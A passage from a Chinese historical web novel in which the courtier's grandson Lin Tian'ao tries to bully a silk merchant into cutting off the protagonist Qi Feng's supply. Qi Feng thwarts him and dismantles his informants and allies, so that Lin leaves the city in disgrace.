他顿了顿,迎着景帝探询的目光,缓缓道:“这些乾朝余孽蛰伏这么久,选择在此时发难,时机拿捏得如此精准,里应外合做得如此周密,仅凭他一人之力,恐怕难以办到。老臣怀疑……朝中,或者地方上,是否有人与之暗通款曲?甚至……北漠那边,是否也扮演了不光彩的角色?”
此言一出,暖阁内顿时一片死寂!
杨廷和的话,像一把冰冷的**,刺中了所有人心中最深的恐惧。
内外勾结!
景帝的眼神瞬间变得锐利如鹰隼,他缓缓扫过在场每一位大臣的脸,仿佛要将他们从里到外看透。
是啊,乾朝余孽怎么可能凭一己之力做到这一步?如果没有内应,没有**的默许甚至支持,他如何能悄无声息地**起足以攻破三座雄关的力量?如何能对城防、将领如此了解?
“查!”景帝从牙缝里挤出一个字,带着森然的杀意,“给朕彻查!锦衣卫,东厂,都给朕动起来!北境各级官吏、将领,有一个算一个,都给朕仔细地查!看看是谁,吃了熊心豹子胆,敢通敌叛国!”
他目光转向一直如同影子般侍立在角落的司礼监秉笔太监、兼提督东厂的太监冯保:“冯伴伴,此事,东厂要给朕拿出个章程来!”
冯保连忙躬身,尖细的嗓音带着绝对的恭敬:“老奴遵旨!定不负陛下所托!”
景帝又看向李纲:“秦锐……就依李爱卿所奏,加封为平北大将军,总览北境平叛事宜,节制北境诸军!令他即日点齐兵马,火速北上,务必在寒冬彻底降临之前,给朕夺回三城!告诉他,朕不要伤亡数字,朕只要结果!若是贻误战机,提头来见!”
“臣,遵旨!”李纲连忙领命。
“还有!”景帝补充道,“传令沿途各州府,全力保障平叛大军粮草辎重,若有拖延克扣,以通敌论处!”
“陛下圣明!”众臣齐声道。
景帝揉了揉发胀的太阳穴,挥挥手:“都退下吧。杨阁老,张阁老,李爱卿留下。”
其他大臣如蒙大赦,连忙躬身退出暖阁,只留下三位核心重臣。
暖阁内只剩下四人,气氛更加凝重。
景帝看着杨廷和,沉声道:“杨爱卿,你刚才所言……朝中有人暗通款曲,可有依据?”
杨廷和缓缓摇头:“老臣并无实证,只是依据常理推断。乾朝余孽此次行动,绝非无的放矢。而且,老臣收到一些风闻,近段时间,江南之地,亦不太平。”
“江南?”景帝眉头紧锁。
“是。”杨廷和道,“据闻,江宁府出了一位名叫齐枫的年轻士子,文武双全,名声极大,甚至……得了陛下您的特召。”
景帝想了一下:“嗯,此事与北境有何关联?”
“此人崛起速度太快,而且与幽冥教屡有冲突,甚至破坏了幽冥教一次重大的阴谋。”杨廷和意味深长地道,“老臣只是觉得,北境之事与江南之‘热闹’,几乎同时发生,未免太过巧合。或许,是有人想借此机会,在南方吸引朝廷的注意力,从而为北境行动创造机会?”
景帝眼中精光一闪!<
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br>他不是蠢人,立刻明白了杨廷和的暗示。
声东击西!如果真是这样,那这个齐枫,在其中扮演了什么角色?他是被利用的棋子,还是……本身就是计划的一部分?
“陛下,”兵部尚书李纲也开口道,“北漠那边,也不得不防。据边关细作回报,北漠王庭近期虽无大规模调兵迹象,但其几个大部落在边境附近的活动明显频繁了许多。臣担心,他们会趁我北境生乱,南下劫掠,甚至……与乾朝余孽达成某种默契。”
内忧外患!
景帝感到一阵深深的疲惫与寒意。
他挥了挥手:“朕知道了。江南那边……齐枫暂时先不用管,北漠……令边军加强戒备,严防死守!绝不能让北漠蛮子踏入国境一步!”
“臣等遵旨!”
当三位重臣退出乾清宫时,天色已经昏暗。
北境三城失守的消息,如同瘟疫般在京城的高层迅速传开,引发了巨大的震动和恐慌。
北境三城失守的消息,还在向着四面八方急速扩散。
尽管朝廷极力**息,避免引起民间恐慌,但如此惊天动地的大事,又如何能完全掩盖?
各种小道消息、添油加醋的传闻,早已在各地的茶馆酒肆、勋贵圈子里悄然流传,引发种种猜测与不安。
府城自然也感受到了这股来自北方的寒意。
街面上虽然依旧车水马龙,商铺林立,但细心之人不难发现,往来商旅的脸上多了几分凝重,城中巡逻的兵丁和便衣探子也明显增多,空气中弥漫着一种山雨欲来的压抑。
可对于某些人来说,天大的事情,似乎也比不上他们眼前的恩怨和面子重要。
林天傲便是其中之一。
自重阳诗会在齐枫面前一败涂地,颜面扫地后,他便一直憋着一股邪火,躲在客栈里借酒浇愁,越想越是不甘。
他林天傲,吏部尚书的嫡孙,在京城纨绔圈里也是排得上号的人物,何时受过这等奇耻大辱?
第三百三十三章 又生一计
“砰!”
又一个精致的白玉酒杯被他狠狠摔在地上,碎片四溅。客栈上房里,一片狼藉。名贵的紫檀木桌上,杯盘狼藉,残羹冷炙洒得到处都是。
地上已经躺着好几个碎裂的酒壶和酒杯,空气中弥漫着浓烈的酒气和一种颓败的暴躁。
“废物!都是废物!”林天傲双眼赤红,指着面前垂手而立、战战兢兢的几个随从和清客大骂,“养你们有什么用?连个乡巴佬都对付不了!”
那几个文人清客,以钱庸和柳随风为首,此刻都是面色惨白,低着头不敢说话。
自从重阳诗会惨败后,他们在林天傲面前的地位一落千丈,若不是暂时无处可去,早就想溜之大吉了。
“公子息怒。”一个看似头领的护卫硬着头皮劝道,“那齐枫确实邪门,文武双全,而且在这府城根基深厚,连萧无痕都对他有所忌惮。咱们……咱们还需从长计议啊。”
“从长计议?本公子等不了!”林天傲猛地一拍桌子,震得碗碟乱跳,“每多在这破地方待一天,我就觉得全城的人都在笑话我!笑我林天傲被一个乡下小子踩在脚下!”
他烦躁地在房间里踱步,像一头困兽。
文斗不行,武斗……想起齐枫那鬼神莫测的身手,他心里更是发怵。
那日在锦绣阁,他带来的好手连齐枫的衣角都碰不到,重阳诗会上,他重金请来的文人更是被驳得体无完肤。
这种全方位的碾压,让他感到一种深深的无力感和耻辱。
就在这时,房门被轻轻敲响。
“谁?”林天傲没好气地吼道。
“公子,是我,赵四。”门外传来一个谄媚的声音。
赵四是林天傲安插在府衙的眼线,是个不得志的小吏,靠着出卖消息换点赏钱。
林天傲眼睛一亮,压下火气道:“进来!”
一个尖嘴猴腮、穿着吏员服饰的中年男子躬身走了进来,脸上堆着讨好的笑容:“公子,有消息了。”
“说!”林天傲急切地道。
“北境确实出了大事!”赵四压低声音,神秘兮兮地道,“听说是什么余孽作乱,夺了好几座城池!朝廷八百里加急,赵知府和萧指挥使这几天忙得脚不沾地,光是军情会议就开了好几次,看来是无暇他顾了。”
“什么?乾朝余孽夺城?”林天傲先是一惊,随即脸上露出了狂喜之色,“哈哈哈!天助我也!真是天助我也!”
他兴奋地搓着手,在房间里转着圈。
赵明德和萧无痕被北境之事牵制,这不正是他找回场子的天赐良机吗?
没了官面上的掣肘,他林家嫡孙的身份,在这府城地界,还不是横着走?
一个恶毒的计划,在他心中迅速成形。
他不敢再直接去锦绣阁触霉头,但他可以从其他方面入手,比如断了齐枫的财路,砸了他的招牌!
“赵四,我问你,齐枫那锦绣阁,最大的命脉是什么?”林天傲眼中闪烁着阴冷的光。
赵四想了想,回道:“回公子,锦绣阁做的是丝绸生意,最重要的自然是生丝来源。府城里最大的生丝供应商是永昌丝行的东家钱万山,据说锦绣阁七成以上的顶级生丝都是从他那里进货。”
“永昌丝行……钱万山……”林天傲喃喃念着这两个名字,嘴角勾起一抹残忍的笑容,“好!就拿他开刀!只要搞定了钱万山,让他停止向锦绣阁供货,齐枫的锦绣阁就算不立刻倒闭,也必然元气大伤!到时候,看他齐枫还如何嚣张!本公子要让他跪着来求我!”
“公子英明!”钱庸连忙拍马屁,“此计甚妙!断其根基,不战而屈人之兵!”
柳随风也赶紧附和:“没了生丝,他齐枫就是巧妇难为无米之炊!看他那锦绣阁还能撑几天!”
林天傲被两人一捧,更是得意,仿佛已经看到了齐枫破产乞怜的模样。
他立刻对赵四吩咐道:“你,立刻去给钱万山下帖子,就说本公子今晚在望江楼天字一号
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雅间设宴,请他务必赏光!语气给我强硬点,让他知道,不来后果自负!”
“是,公子!”赵四领命,匆匆而去。
林天傲又对护卫头领道:“去,多调些人手过来,今晚我要让钱万山知道,违逆我林家的下场!”
“公子,要不要……请影煞大人出手?”护卫头领小心翼翼地问道。
林天傲犹豫了一下。
“影煞”是他祖父暗中派来保护他的林家死士头领,实力深不可测,据说已臻先天之境,是他最后的底牌。
对付一个商人,动用“影煞”,未免有些杀鸡用牛刀。
“暂时不用。”林天傲摆了摆手,“一个钱万山,还不配让影煞出手。你们给我把场面撑起来就行!”
“是!”
打发走手下,林天傲走到窗边,看着楼下熙熙攘攘的街道,脸上露出了志在必得的冷笑。
“齐枫啊齐枫,你以为你能打,有点文采,就能跟我林家斗?我会让你知道,什么叫权势!什么叫真正的实力!”
“等你失去了锦绣阁,变成一条丧家之犬,我看南宫玥和柳若雪那两个**还会不会跟着你!到时候,我要你眼睁睁看着她们投入本公子的怀抱!哈哈哈!”
他仿佛已经看到了胜利的曙光,心情大好,甚至哼起了小曲。
与此同时,永昌丝行后院。
钱万山拿着那张措辞强硬的拜帖,双手都在微微颤抖。
帖子是林府下人送来的,言语间充满了不容拒绝的意味,邀他今晚望江楼一叙。
“东家,这……这可如何是好?”丝行的大掌柜也是一脸愁容,“林家我们得罪不起,可齐公子那边……我们更得罪不起啊!”
钱万山瘫坐在太师椅上,额头上全是冷汗。
他是个精明的商人,能在府城把丝行做到最大,靠的就是左右逢源,谁也不得罪。
可眼下,这两尊大神斗法,却把他这个小鬼夹在了中间,简直是把他放在火上烤!
第三百三十四章 威胁
林家,吏部尚书,权势滔天,随便动动手指就能让他倾家荡产,死无葬身之地。
齐枫,虽然只是青田县一个小家族,但手段通天,武力超群,连幽冥教和林家公子都敢硬撼,更是府城实际上的无冕之王,赵知府都要让他三分。
得罪了哪一边,都是灭顶之灾!
“备车……”钱万山有气无力地说道,“去……去锦绣阁……”
他决定,先去探探齐枫的口风。
毕竟,与齐枫合作也有这么段时间了。
齐枫虽然手段厉害,但对待合作伙伴向来公道。
而林家……他实在信不过。
可当他赶到锦绣阁时,却被告知齐公子外出访友,不知何时归来。
钱万山的心,顿时沉到了谷底。
天色渐渐暗了下来,望江楼之约如同催命符一般,悬在他的头顶。
无奈之下,他只能怀着赴死般的心情,登上了前往望江楼的马车。
马车轱辘碾过青石板路,发出的声音在钱万山听来,仿佛是送葬的哀乐。
他不停地擦着冷汗,脑子里飞速运转,思考着等会儿该如何应对。是暂时虚与委蛇,还是硬扛到底?
他知道,无论选择哪条路,今晚之后,他的日子都不会好过了。
而此刻,齐枫正坐在城南一处幽静的茶舍里,与一位鹤发童颜的老者对弈。
富贵悄无声息地出现在门口,对他微微点了点头。
齐枫执起一枚黑子,轻轻落在棋盘上,嘴角泛起一丝若有若无的笑意。
“有些人,总是不见棺材不掉泪。”
望江楼,和醉月楼一样,都是府城最负盛名的酒楼,唯一不同的是,醉月楼更重歌舞。
望江楼则是更加正式,商派些,它临江而建,飞檐斗拱,气派非凡。
尤其是顶层的天字一号雅间“听潮阁”,更是奢华无比,一面巨大的窗户正对江景,视野极佳,历来是达官显贵宴饮的首选。
今夜,听潮阁却被一股压抑的气氛所笼罩。
雅间内,林天傲大马金刀地坐在主位,身穿一袭宝蓝色暗纹锦袍,腰间玉带,刻意打扮得十分隆重,试图在气势上压倒一切。
他身边,八名劲装护卫分列两侧,个个太阳穴高鼓,眼神锐利,手按在腰间的刀柄上,散发出凛冽的杀气。
钱庸和柳随风则坐在下首,虽然强装镇定,但眼神闪烁,显得有些坐立不安。
桌上摆满了望江楼的招牌菜,什么清蒸鲥鱼、蟹粉狮子头、水晶肴肉,香气扑鼻,但几乎无人动筷。
所有人的目光,都聚焦在那个坐在林天傲对面,瑟瑟发抖的胖子身上。
永昌丝行的东家,钱万山。
他肥硕的身体蜷缩在宽大的椅子里,却仿佛坐在针毡上一般。额头上豆大的汗珠不断滚落,擦都擦不完。
面前精美的菜肴在他眼中如同嚼蜡,林天傲那冰冷的目光更是让他如坠冰窟。
“钱东家,”林天傲用折扇轻轻敲打着掌心,打破了令人窒息的沉默。
“本公子的话,已经说得很清楚了。从即日起,停止向锦绣阁供应所有生丝。你库房里现有的,还有后续收上来的,我们林家,照单全收,价格比你给齐枫的,高出三成!”
他顿了顿,身体微微前倾,目光如同毒蛇般锁定钱万山:“这可是天上掉馅饼的好事,别人求都求不来。钱东家是个聪明人,应该知道怎么选吧?”
钱万山浑身一颤,嘴唇哆嗦着,声音带着哭腔:“林……林公子,这……这恐怕使不得啊!我们永昌丝行和锦绣阁合作签了多年,是有契约束束的,白纸黑字写得明明白白。若是无故断供,这违约金……可不是小数目啊!而且……齐公子那边,小人……小人实在得罪不起啊!”
“违约金?”林天傲嗤笑一声,仿佛听到了天大的笑话,他拿起酒杯轻轻晃动着,满是不屑,“我林家替你出了!区区违约金,九牛一毛而已。至于齐枫……”
他眼神一寒,语气陡然变得阴森冰冷,手中的酒杯“啪”地一声放在桌上,酒水都溅了
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出来:“你怕得罪他,就不怕得罪我林家?不怕得罪我祖父,当朝吏部尚书?钱万山!”
林天傲猛地提高音量,吓得钱万山一个激灵。
“你可要想清楚了!是齐枫能给你的多,还是我林家能让你失去的多!”林天傲站起身,居高临下地俯视着瘫软的钱万山,一字一句地说道,每个字都像是冰锥,扎进钱万山的心底。
“信不信本公子一句话,就能让你这永昌丝行,在江南再无立锥之地!让你钱家,家破人亡!”
“轰!”
强大的权势压迫感如同实质般扑面而来,伴随着林天傲那毫不掩饰的威胁,钱万山只觉得眼前一黑,耳朵里嗡嗡作响,差点一口气没上来晕过去。
他脸色惨白如纸,浑身抖得像筛糠一样。
他知道,林天傲绝不是危言耸听!林家确实有这个能力!官面上的手段太多了,随便找个由头查税、卡关、甚至安个勾结前朝余孽的罪名,就能让他倾家荡产,死无葬身之地!
“林公子……林公子饶命啊!”钱万山再也坐不住了,噗通一声滑到地上,几乎是匍匐着爬到林天傲脚边,抱着他的腿哭嚎道,“小人……小人小本经营,实在是……实在是身不由己啊!求公子开恩,给小人一条活路吧!”
看着脚下如同一滩烂泥般哭泣求饶的钱万山,林天傲心中涌起一股扭曲的快意。
对,就是这样!恐惧吧!哀求吧!这就是权势的力量!他享受这种掌控他人生死的感觉。
“活路?”林天傲用脚尖轻轻踢开钱万山,脸上带着残忍的戏谑,“本公子不是正在给你活路吗?乖乖听话,把生丝卖给林家,你不仅能拿到更多的钱,还能得到我林家的庇护。这难道不是一条康庄大道?”
他重新坐回椅子上,翘起二郎腿,用折扇指着瘫软在地的钱万山,语气变得不耐烦:“本公子没那么多时间跟你耗!给你三天时间,处理好与锦绣阁的契约,然后乖乖地把货送到本公子指定的地方!否则……”
第三百三十五章 绝望了
林天傲冷哼一声,后面威胁的话不言而喻,但那冰冷的杀意已经让整个雅间的温度都下降了几分。
旁边的护卫很配合地向前踏出一步,手按刀柄,发出铿锵之声,更是增添了巨大的压力。
钱万山彻底绝望了。
他知道,今天如果不答应,恐怕很难活着走出这个雅间。
林天傲这种纨绔子弟,行事肆无忌惮,什么事都做得出来。
他仿佛已经看到了自己丝行倒闭,家破人亡的凄惨景象。
泪水混合着汗水模糊了他的视线,他张了张嘴,那屈服的“我答应”三个字几乎就要脱口而出。
就在这千钧一发之际,雅间那扇厚重的雕花木门,被人从外面“吱呀”一声,轻轻推开了。
一个平静得不起丝毫波澜的声音,随之清晰地传入了每个人的耳中。
“否则怎样?林公子好大的威风,跑到我府城地界,来威胁我的合作伙伴了?”
听到这个声音,林天傲如同被踩了尾巴的猫,脸上的得意和残忍瞬间凝固。
取而代之的是极度的震惊和一丝不易察觉的恐惧,他猛地从椅子上弹了起来,碰倒了身后的椅子,发出刺耳的响声。
钱万山更是如同在无边黑暗中看到了一盏明灯,猛地抬起头,看向门口,激动得浑身发抖,差点当场哭出来!
只见齐枫不知何时,已悄无声息地站在了雅间门口。
他依旧是一身简单的青衫,身形挺拔,神色平淡如水,仿佛只是信步而来,欣赏江景。
他身后,跟着如同影子般沉默的富贵。
他怎么会在这里?!他怎么知道自己在这里?!林天傲心中骇然,如同掀起了惊涛骇浪。
他明明打听过,齐枫今日应该在城西处理一桩事务,而且他此行极为隐秘,齐枫怎么可能如此精准地找到这里?!
一瞬间,林天傲脑子里闪过无数念头,是赵四背叛了自己?还是齐枫在监视自己?一种被看穿、被掌控的寒意,从他心底升起。
“齐……齐枫!”林天傲强压下心中的慌乱,色厉内荏地喝道,“你……你怎么进来的?这里不欢迎你!给我滚出去!”
他的声音因为紧张而显得有些尖利,完全没有了刚才逼迫钱万山时的从容。
“滚?”齐枫嘴角勾起一抹似笑非笑的弧度,那笑容看在林天傲眼里,充满了嘲讽。
他缓步走入雅间,目光随意地扫过桌上几乎未动的精美酒菜,又扫过那些如临大敌、手按刀柄的护卫,最后才重新落在脸色铁青的林天傲身上,语气依旧平淡,却带着一种无形的压力。
“这望江楼,似乎并非林家的产业吧?我齐枫想来便来,想走便走,何须向你请示?还是说,林公子已经霸道到,认为这普天之下,莫非你林家之地了?”
轻描淡写的一句话,却暗藏机锋,直接将一顶“僭越”的大帽子扣了下来,让林天傲脸色更加难看。
齐枫不再理会气得浑身发抖的林天傲,转而看向瘫软在地、如同抓到救命稻草般的钱万山,缓和了些:“钱东家,受惊了。起来吧,地上凉。”
他示意富贵去搀扶钱万山。
“齐公子!多谢齐公子!”钱万山在富贵的搀扶下,颤巍巍地站起来,激动得老泪纵横,连连作揖,仿佛重生了一般。
有齐枫在,他感觉自己那几乎被压垮的脊梁,又重新挺直了一些。
“齐枫!你欺人太甚!”林天傲见齐枫完全无视自己,反而去安抚钱万山,更是气得七窍生烟,感觉自己的脸面被按在地上反复摩擦!
他对着身边那些紧张戒备的护卫吼道,“你们还愣着干什么?都是**吗?给我把这个狂徒轰出去!”
那几名护卫互相对视一眼,脸上都露出了犹豫和畏惧之色。
他们可是亲眼见过或者听说过齐枫的本事,连幽冥教的**、黑煞那样的凶人都讨不了好,他们这些人上去,恐怕都不够人家塞牙缝的。
但主子的命令又不能不听…
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…
“废物!一群废物!”林天傲见护卫们踌躇不前,更是怒不可遏,感觉在所有手下面前丢尽了颜面。
极度的愤怒和羞辱冲昏了他的头脑,他猛地抄起桌上一个沉甸甸的银质酒壶,运足了力气,朝着齐枫狠狠砸了过去!
“给我**!”
酒壶带着凄厉的风声,直袭齐枫面门!这一下含怒出手,力道十足,若是砸实了,绝对头破血流!
“公子不可!”护卫头领惊呼,想要阻止已经来不及。
钱万山吓得闭上了眼睛。
钱庸和柳随风更是吓得缩起了脖子。
面对这突如其来的袭击,齐枫甚至连眼皮都没抬一下,脚步也没有丝毫移动,只是随意地抬起右手,宽大的袖袍对着飞来的酒壶,轻轻一拂。
诡异的一幕发生了!
那蕴含着强劲力道的银质酒壶,在距离齐枫尚有三尺之遥时,仿佛突然撞上了一堵无形无质、却坚不可摧的气墙,前冲之势戛然而止,就那么突兀地悬停在了半空中!
时间仿佛在这一刻凝固。
所有人都瞪大了眼睛,难以置信地看着这违背常理的一幕。
下一刻,那酒壶仿佛被一股更强的无形力量操控,以比来时更快的速度,精准地沿着原路倒飞而回!
“砰!”
一声闷响伴随着惨叫。
酒壶狠狠地砸在林天傲的胸口,巨大的力道让他踉跄着**好几步,胸口一阵剧痛,仿佛被重锤击中,喉头一甜,差点一口血喷出来。
壶中残余的酒水泼了他一身,将他那身宝蓝色的华丽锦袍染得一片狼藉,整个人看起来狼狈不堪!
“公子!”护卫们这才反应过来,慌忙上前搀扶住摇摇欲坠的林天傲。
林天傲只觉胸口气血翻涌,又惊又怒,推开护卫,指着齐枫,因为疼痛和愤怒,声音都在颤抖:“齐枫!你……你敢打我?!你知不知道我是谁?!我祖父是吏部尚书!你……你死定了!你绝对死定了!”
第三百三十六章 不放在眼里
林天傲就像是一个输红了眼的赌徒,只能反复强调着自己的家世,想要找回一丝可怜的底气。
齐枫看着他这副气急败坏、色厉内荏的模样,摇了摇头,脸上带着一丝毫不掩饰的怜悯,仿佛在看一个无可救药的蠢货。
“林公子,除了整日将我祖父是吏部尚书挂在嘴边,你还会什么?文不成,武不就,仗着祖辈余荫,横行霸道。你可知道,似你这等纨绔,才是真正给你林家,给你祖父抹黑之人?若林尚书知晓你在外是如此行径,不知会作何感想?”
这番话,如同冰冷的刀子,一刀刀剐在林天傲最敏感、最脆弱的神经上。
他最大的依仗就是家世,而齐枫却直接将这层外衣扒下,将他内在的无能和不堪暴露在光天化日之下。
林天傲脸色由青转白,再由白转红,指着齐枫,嘴唇哆嗦着,却一句话也说不出来,那样子像是随时都会气晕过去。
齐枫却不再给他任何眼神,声音微冷,警告道:“今日之事,我看在林尚书为国操劳的份上,不予深究。但若你再敢来府城生事,或者威胁我的任何人……”
他顿了顿,目光骤然变得锐利如刀,一股无形令人心悸的寒意瞬间笼罩整个雅间,让那些护卫都感到脊背发凉:
“休怪我不给你林家留最后一丝颜面。”
说完,他不再多看瘫软在护卫怀中、面如死灰的林天傲一眼,对惊魂甫定但眼神充满感激的钱万山点了点头,恢复了平和。
“钱东家,我们走吧。合作照旧,不必担心。”
“是是是!多谢齐公子!多谢齐公子!”钱万山忙不迭地点头哈腰,赶紧跟在齐枫身后,几乎是逃离了这个让他差点崩溃的地方。
齐枫带着钱万山和富贵,从容地离开了雅间,自始至终,都没有再看林天傲一眼,那种彻头彻尾的无视,比任何辱骂和殴打,都更让林天傲感到**。
雅间内,死一般的寂静。
只剩下林天傲粗重的喘息声,和空气中弥漫的酒气与耻辱的味道。
那些护卫和清客面面相觑,都不敢说话。
林天傲猛地推开搀扶他的护卫,看着齐枫离去的方向,又低头看看自己一身狼藉的锦袍,感受着胸口隐隐作痛和周围手下那异样的目光,一股前所未有的怨毒和疯狂涌上心头。
他猛地一拳砸在旁边的柱子上,发出野兽般的低吼,双眼赤红,状若疯魔。
“齐枫!我林天傲与你势不两立!不报此仇,誓不为人!我一定要你死!要你死无葬身之地!”
可他的无能狂怒,在此刻显得如此苍白和可笑。
在齐枫那绝对的实力和气势面前,他所谓的家世背景,他所有的算计和威胁,都消融得无影无踪,只留下一个跳梁小丑般的背影。
齐枫带着钱万山离开望江楼,并没有直接返回锦绣阁,而是来到了永昌丝行。
丝行的账房内,灯火通明。钱万山惊魂未定,亲自给齐枫泡上最好的明前龙井,手还在微微发抖。
“齐公子,今日……今日多亏您及时赶到,否则……否则小人真不知道该如何是好了。”钱万山心有余悸,声音依旧带着颤音。
齐枫端起茶杯,轻轻吹开浮沫,神色平静:“钱东家不必客气,你我合作,护你周全,本是应有之义。林家势大,但还伸不到这府城来肆意妄为。”
他抿了一口茶,放下茶杯,目光看向钱万山:“不过,经此一事,林家在府城的眼线和势力,倒是暴露了不少。”
钱万山一愣:“齐公子的意思是?”
“林天傲能如此精准地找到你,威胁你,必然在府衙和城中安插了不少人手。”齐枫淡淡道,“赵四此人,你可知道?”
钱万山想了想,恍然道:“可是府衙户房那个不得志的书吏?此人确实有些油滑,喜欢打听消息……难道是他?”
齐枫点了点头:“不止他。林天傲带来的那些护卫中,有两人是本地青
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狼帮的打手头目,还有一人,与城防营的一个副统领过从甚密。”
钱万山倒吸一口凉气,他没想到齐枫在短短时间内,竟然已经将林天傲的底细摸得如此清楚!
这种恐怖的情报能力,让他感到一阵寒意,同时也更加庆幸自己选择了站在齐枫这边。
“齐公子明察秋毫!”钱万山佩服得五体投地,“那……我们接下来该如何应对?林天傲此番受辱,定然不会善罢甘休,恐怕还会有更阴毒的手段。”
“他不会有机会了。”齐枫的语气很平淡,却带着一种不容置疑的决断,“有些人,既然把爪子伸过来了,就要有被剁掉的觉悟。”
他对侍立一旁的富贵吩咐道:“通知我们的人,可以收网了。赵四,以勾结外人、泄露官府机密为由,交给赵知府处理。青狼帮那两人,让他们永远消失。至于那个副统领……把他收受林家贿赂、**的证据,匿名送到萧无痕的案头。”
“是,少爷。”富贵领命,立刻转身离去,行动干脆利落。
钱万山在一旁听得心惊肉跳。
齐枫这几道命令,轻描淡写间,就要断掉林天傲在府城的耳目、打手和官方内应!
这是要将他彻底变成瞎子和聋子啊!而且手段如此老辣果决,根本不给对方任何喘息的机会!
这……这真的是一个二十出头的年轻人能做到的吗?钱万山看着齐枫那平静的侧脸,心中充满了敬畏。
“至于林天傲本人……”齐枫指尖轻轻敲击着桌面,眼中闪过一丝冷光,“他既然喜欢用权势压人,那就让他也尝尝,失去倚仗的滋味。”
与此同时,望江楼天字一号雅间内,林天傲已经勉强收拾好了情绪,换了一身干净衣服,但脸上的阴沉和眼中的怨毒却丝毫未减。
“查!给我查!齐枫是怎么知道我们在这里的?!是不是你们中间有人走漏了风声?!”他对着手下咆哮,怀疑的目光扫过每一个人。
第三百三十七章 灰头土脸
“公子息怒!”护卫头领连忙道,“属下敢以性命担保,绝无人泄露!恐怕……是那齐枫一直在暗中监视我们。”
“监视?”林天傲咬牙切齿,“好!好得很!本公子倒要看看,谁能笑到最后!”
他深吸一口气,强迫自己冷静下来,开始思考下一步计划。
文斗武斗都行不通,断其财路也被对方轻易化解……难道真要动用最后的底牌?
就在这时,雅间门被猛地推开,一个随从连滚爬爬地冲了进来,脸色惨白,声音带着哭腔:“公子!不好了!出事了!”
“又怎么了?!”林天傲心头一跳,有种不祥的预感。
“赵四……赵四被府衙的人抓走了!说是泄露官府机密!”
“青狼帮的王老大和李疤瘌……昨晚……昨晚失足落水,淹**!”
“还有……还有城防营的刘副统领,今天一早被锦衣卫带走了!听说……听说是因为收**赂,证据确凿!”
一连串的坏消息,如同一个个重锤,狠狠砸在林天傲的胸口!
他猛地后退两步,撞在桌子上,打翻了茶杯,却浑然不觉。
脸上血色尽褪,只剩下无边的震惊和恐惧!
赵四是他安插在府衙最重要的眼线!青狼帮是他暗中扶持,用来处理一些见不得光事情的黑手套!刘副统领是他花了大价钱才拉拢过来的军方内应!
这三条线,是他能够在府城行事的重要倚仗!竟然……竟然在短短一夜之间,被人连根拔起?!
是谁?是谁有如此大的能量和如此狠辣的手段?!
答案不言而喻,齐枫!
除了他,还有谁?!
林天傲只觉得一股寒气从脚底直冲天灵盖,浑身冰凉。
他原本以为齐枫只是个有点本事、运气好的乡下小子,直到此刻,他才真正意识到,自己招惹了一个多么可怕的存在!
对方不仅个人实力强大,其背后的势力和手段,更是深不可测!
自己所有的算计和行动,仿佛都在对方的掌控之中!这种被人**于股掌之间的感觉,让他感到了前所未有的恐惧。
“公……公子,我们……我们接下来怎么办?”钱庸颤声问道,他也被这一连串的打击吓破了胆。
柳随风更是面无人色,缩在角落里,恨不得立刻消失。
林天傲张了张嘴,却发现自己喉咙干涩,发不出任何声音。
怎么办?他也不知道该怎么办了!眼线被拔除,打手被清除,内应被抓捕……他在府城几乎成了孤家寡人!还能怎么办?
继续斗下去?他拿什么跟齐枫斗?
灰溜溜地逃回京城?那他将成为整个京城圈子的笑柄!一辈子都抬不起头来!
进退两难!绝望如同冰冷的潮水,将他彻底淹没。
就在林天傲陷入绝望之际,齐枫的“回报”还远未结束。
第二天一早,一个更加惊人的消息,如同旋风般传遍了府城的大街小巷,并且以更快的速度向着京城传去。
吏部尚书林文渊之孙林天傲,在府城期间,骄纵跋扈,不仅多次挑衅、威胁为本朝立下大功的春闱榜首齐枫,更试图以权势逼迫本地商人,垄断生丝市场,其行径恶劣,严重损害了林家清誉,影响了江南商界的稳定!
消息传得有鼻子有眼,甚至连林天傲在望江楼威胁钱万山的细节都被披露了出来,只是隐去了齐枫出手教训他的那一段。
重点全都集中在了林天傲如何仗势欺人,如何破坏商业规矩上。
这消息一出,整个府城一片哗然!
“我就说嘛!京城来的纨绔没一个好东西!”
“竟然敢威胁齐公子?还想断锦绣阁的货?真是吃了熊心豹子胆!”
“林家真是好家教!养出这种子孙!”
“听说齐公子大人有大量,只是小惩大诫,拔掉了他在府城的爪牙,都没跟他一般见识!”
**几乎是一边倒地站在了齐枫这边。
齐枫在府城的声望如日中天,而林天傲本就名声不佳,此消彼长之下,林天傲瞬间成了千夫所指
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的对象。
更重要的是,这消息被有心人,自然是齐枫安排的,迅速传递到了京城。
可以想象,当那些与林家不对付的御史言官,或者那些看重商业秩序的官员得到这个消息后,会如何**林文渊教孙无方,纵容亲属扰乱地方!
林天傲躲在客栈里,听到外面传来的风声,以及手下汇报的城中**,气得几乎吐血,却又无可奈何!
他感觉自己就像是被剥光了衣服扔在大街上,承受着所有人的指指点点和唾骂!
他知道,自己完了!就算祖父能保住他,他在京城纨绔圈里也彻底混不下去了!他将会成为一个天大的笑话!
“齐枫!!!”林天傲发出绝望怨毒的嘶吼,将房间里所有能砸的东西都砸了个粉碎。
可无论他如何愤怒,如何不甘,败局已定。
几天后,一队来自京城的林家护卫,低调地进入了府城,径直来到了林天傲下榻的客栈。
为首的,是一位面容冷峻、气息深沉的中年人,正是林家死士头领“影煞”。
影煞看着如同斗败公鸡、眼神涣散的林天傲,眼中闪过一丝失望,冷冷地吐出两个字:
“回京。”
没有多余的废话,也没有任何安慰。
林天傲知道,这是祖父的命令。
他像一具行尸走肉般,被影煞和护卫们“护送”着,离开了这座让他遭受了毕生最大耻辱的城市。
他来时前呼后拥,嚣张跋扈,去时灰头土脸,悄无声息。
府城的这场风波,以林天傲的彻底惨败和狼狈逃离而告终。
齐枫甚至没有亲自出手对付他本人,只是轻描淡写地拔掉了他的爪牙,再利用**稍加引导,就让他身败名裂,不得不滚回京城。
经此一役,齐枫在府城的地位更加稳固,声望达到了顶点。
所有人都清楚地认识到,在这府城,齐公子才是真正不能招惹的存在。
连京城林家的嫡孙,在他面前都落得如此下场,还有谁敢捋其虎须?
第三百三十八章 恶客登门
林天傲狼狈逃离府城的消息,如同长了翅膀一般,迅速传遍了江南各地。
人们茶余饭后,无不津津乐道这位京城来的纨绔子弟是如何在齐公子面前碰得头破血流,最终灰溜溜滚回老家的。
齐枫的威望,借此事件再次攀升,已然成为江南地区一个无人敢轻易招惹的象征。
就在林天傲离开后的第十天,这日午后,秋阳明媚,锦绣阁内客流如织,南宫玥正娴熟地应对着几位来自邻郡的大客商,柳若雪则在柜台后核对账目,一切井然有序。
